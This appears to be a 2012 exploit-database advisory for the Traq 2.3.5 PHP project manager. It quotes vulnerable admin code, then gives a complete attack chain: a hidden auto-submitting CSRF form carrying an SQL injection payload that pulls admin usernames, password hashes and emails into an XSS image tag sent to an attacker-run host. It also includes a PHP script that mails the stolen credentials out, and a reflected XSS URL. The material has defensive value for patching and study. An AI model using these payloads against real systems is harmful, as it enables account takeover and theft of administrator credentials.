Traq 2.3.5 CSRF / XSS / SQL Injection Vulnerability

2012-06-21T00:00:00
ID 1337DAY-ID-18754
Type zdt
Reporter AkaStep
Modified 2012-06-21T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ====================================================================
Vulnerable Software: traq-2.3.5
Official Site: TraqProject.org
====================================================================
About Software:
Traq is a PHP powered project manager, capable of tracking issues for multiple projects 
with multiple milestones.
====================================================================
Tested on:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL:  5.5.25
*/

====================================================================
Vuln Desc:
traq-2.3.5 is prone to: CSRF,XSS,SQL injection vulns.


[+] LESSON NUMBER 1:VULN IS VULN. IT DOESN'T MATTER WHERE IT EXISTS.
====================================================================
I noticed many developers,coders,admins,webmaster always thinks:
"If you find vuln(s) in administration section you can't exploit it.
You need to login to administration section to exploit it.Bla bla bla."
=======I HOPE THIS will be LESSON FOR ALL WHO THINKS LIKE BOTTOM=========

Vulnerable code section:
//admincp/groups.php
====================================================================
  // Create
  if(@$_POST['action'] == 'create')
  {
    // Check for errors
    if(empty($_POST['values']['name']))
      $errors['name'] = l('error_name_empty');
      
    if(!count($errors))
    {
      // Sort columns from values
      $keys = array();
      $values = array();
      foreach($_POST['values'] as $key => $val)
      {
        $keys[] = $key;
        $values[] = "'".$val."'";
      }
      
      $db->query("INSERT INTO ".DBPF."usergroups (".implode(',',$keys).") VALUES(".implode(',',$values).")");
      
      header("Location: groups.php?created");
    }
    
    $group = $_POST['values'];
  }
  
  // Save Usergroup
  if(@$_POST['action'] == 'save')
  {
    // Check for errors
    if(empty($_POST['values']['name']))
      $errors['name'] = l('error_name_empty');
      
    if(!count($errors))
    {
      // Make the query.
      $query = array();
      foreach($_POST['values'] as $key => $val)
        $query[] = $key."='".$val."'";
      
      // Run the query.
      $db->query("UPDATE ".DBPF."usergroups SET ".implode(', ',$query)." WHERE id='".$db->res($_REQUEST['edit'])."' LIMIT 1");
      
      header("Location: groups.php?saved");
    }
  }

====================================================================


We'll exploit 3 vulns together:
CSRF+SQL INJECTION+XSS
As result we will steal admin credentials(login:password:email) from database.
Payload:

mysql> select 0x41646D696E6973747261746F72733C2F613E3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261
666669632E7068703F67657470776E65643D \G
*************************** 1. row ***************************
0x41646D696E6973747261746F72733C2F613E3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068
703F67657470776E65643D: Administrators</a><img src="http://192.168.0.15/learn/traffic.php?getpwned=
1 row in set (0.00 sec)

mysql> select 0x22206865696774683D302077696474683D30202F3E \G
*************************** 1. row ***************************
0x22206865696774683D302077696474683D30202F3E: " heigth=0 width=0 />
1 row in set (0.00 sec)


//Our "Cookie Stealer" (In this case it is our credentials stealer *aka snifer*)
//traffic.php
==================BEGIN TRAFFIC.PHP===============
<?php
error_reporting(0);
if (isset($_GET['getpwned']))
{
$nastycookies=htmlentities(str_ireplace('\'','',$_GET['getpwned']));//some bugfixes to get rid single quote xD//
$sendto='[email protected]iehacker';//your mail address.
@mail($sendto,'Your nAsty cookies',PHP_EOL .$nastycookies);//sending mail to you//
}
?>
================ EOF TRAFFIC.HTML=================


================ EOF PAGE1.HTML================
<!DOCTYPE HTML>
<html>
<head>
<title></title>

<style type="text/css">
body
{
background-color:black;
color:red;
}
img
{
position:absolute;
top:20px;
}

iframe
{
position:absolute;
background-color:black;
color:black;
visibility:hidden;
}
</style>
</head>
<body>

<img src="#" /><br>


<iframe src="CSRF_SQL_INJ_XSS_TRAQ.html" />
</body>
</html>
================ EOF PAGE1.HTML================




============BEGIN CSRF_SQL_INJ_XSS_TRAQ.html====================

<body onload="javascript:document.forms[0].submit()">
<form name="pwn" action="http://====>CHANGE HERE<======/admincp/groups.php?edit=1" method="post">
<input type="hidden" name="action" value="save" />
<input type="text" name="values[name]" value="1',name=(select concat(0x41646D696E6973747261746F72733C2F613E3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D,username,0x7c,password,0x7c,email,0x22206865696774683D302077696474683D30202F3E) from traq_users where group_id=1),is_admin='1" />
<input type="radio" name="values[is_admin]" value="1" id="is_admin_yes" checked="checked" />
<input type="radio" name="values[is_admin]" value="0" id="is_admin_no" />
<input type="radio" name="values[create_tickets]" value="1" id="create_tickets_yes" />
<input type="radio" name="values[create_tickets]" value="0" id="create_tickets_no" checked="checked" />
<input type="radio" name="values[update_tickets]" value="1" id="update_tickets_yes" />
<input type="radio" name="values[update_tickets]" value="0" id="update_tickets_no" checked="checked" />
<input type="radio" name="values[comment_tickets]" value="1" id="comment_tickets_yes" />
<input type="radio" name="values[comment_tickets]" value="0" id="comment_tickets_no" checked="checked" />
<input type="radio" name="values[delete_tickets]" value="1" id="delete_tickets_yes" />
<input type="radio" name="values[delete_tickets]" value="0" id="delete_tickets_no" checked="checked" />
<input type="radio" name="values[add_attachments]" value="1" id="add_attachments_yes" />
<input type="radio" name="values[add_attachments]" value="0" id="add_attachments_no" checked="checked" />
</form>
============EOF CSRF_SQL_INJ_XSS_TRAQ.html====================


If your attack was successfull against victim you will receive admin credentials like below:


admin|d033e22ae348aeb5660fc2140aec35850c4da997|[email protected]

@Print screen successfull attack result (@mail'ed credentials to attacker)

http://s018.radikal.ru/i516/1206/14/85c6beab9a42.png




XSS via $_GET:
http://192.168.0.15/learn/traq/upload/admincp/plugins.php?edit&plugin=1"/><script>alert(1);</script>


[+] LESSON NUMBER 2: Do not trust to client side.Sanitize and validate it.



=====================THE END=================================



+++++++++My Special thanks to:+++++++++++++++++++++
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
1337day.com
secunia.com
securityhome.eu
exploitsdownload.com
to all AA Team + to all Azerbaijan Black HatZ + 
           *Especially to my bro CAMOUFL4G3.*
++++++++++++++++++++++++++++++++++++++++++++++++

Respect && Thank you.

/AkaStep ^_^



#  0day.today [2018-01-26]  #